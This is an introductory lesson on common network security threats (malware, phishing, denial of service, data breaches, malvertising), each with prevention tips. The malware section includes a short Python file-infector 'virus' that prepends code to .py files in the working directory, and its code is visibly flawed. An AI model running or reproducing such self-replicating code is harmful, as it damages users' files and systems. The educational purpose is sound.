[Network Security] 1.3 Common Network Security Threats

Cybersecurity is a very important part of our daily lives and work. Whether you are browsing the web, sending emails, or shopping online, you may encounter various cybersecurity threats. Below, we’ll detail some of the most common cybersecurity threats and how to protect against them.

1. Malware

Malware is software that causes damage to a computer system or steals user data. It includes viruses, worms, Trojan horses, ransomware, etc.

For example, a virus is a type of malware that can replicate itself and infect other programs. Once a virus infects your computer, it can delete your files, damage your system, or steal your data.

# 一个简单的Python "病毒" 示例
# 注意：这只是一个示例，不要在实际环境中运行此代码！

import os

def infect(target_file):
    virus = open(__file__)
    virus_code = ""
    for i,line in enumerate(virus):
        if 0 <= i < 9:
            virus_code += line
    virus.close

    infected_file = open(target_file)
    code = infected_file.read()
    infected_file.close()

    if virus_code not in code:
        infected_code = virus_code + '\n' + code
        infected_file = open(target_file, 'w')
        infected_file.write(infected_code)
        infected_file.close()

def find_files(path):
    files = os.listdir(path)
    for file in files:
        if file.endswith('.py'):
            infect(file)

find_files(os.getcwd())

Prevention methods : Install and regularly update anti-virus software, do not open attachments or links from unknown sources, and regularly back up important data.

2. Phishing

Phishing is a type of fraud in which an attacker tricks a user into providing sensitive information (such as a username, password, or credit card number) by pretending to be a trusted entity (such as a bank or social media website).

For example, you might receive an email that looks like it's from your bank, and there might be a link in the email that leads you to a website that looks like your bank, but is actually a fake website. If you enter your username and password on this fake website, an attacker can steal your information.

How to prevent it : Don’t click on links from unknown sources, don’t enter sensitive information on sites without HTTPS, change your passwords regularly, and enable two-step verification.

3. Denial of Service (DoS)

Denial of service attack is an attack method in which the attacker sends a large number of requests to the target system, making the system unable to process normal requests, thereby preventing the target system from providing services.

For example, an attacker might use a botnet (a network of large numbers of controlled computers) to flood a target website with requests. This will make the website inaccessible to normal users because the website's server has been occupied by a large number of malicious requests.

Prevention methods : Use firewalls and other security devices to filter malicious traffic, regularly update and patch systems, and configure servers to handle large numbers of requests.

4. Data Breach

A data breach occurs when sensitive information, such as a user's personal information or a company's trade secrets, is obtained by an unauthorized person. Data leaks may be due to security vulnerabilities in the system or malicious behavior by insiders.

For example, a company's database may be hacked, and the hacker may steal user data in the database, including usernames, passwords, credit card information, etc. This information may be used for fraud or identity theft.

Prevention methods : Use strong passwords and two-step verification, regularly update and patch systems, limit access to sensitive data, and encrypt sensitive data.

5. Malvertising

Malvertising is the spread of malware through online advertisements. An attacker may embed malicious code in an ad, and when a user clicks on the ad, the malicious code will be executed, infecting the user's computer.

For example, you may see an ad while browsing the web. The ad may look like a normal ad, but when you click on the ad, your computer may be infected with malware.

Precautions : Install and regularly update anti-virus software, use an ad blocker, and don’t click on ads from unknown sources.

in conclusion

Cybersecurity threats are an ongoing issue and we need to remain vigilant and take appropriate precautions. By understanding these common cybersecurity threats, we can better protect our data and systems.

Remember, the best defense is prevention. Regularly updating and patching your systems, using strong passwords and two-step verification, and not clicking on links or ads from unknown sources can go a long way toward improving your online security.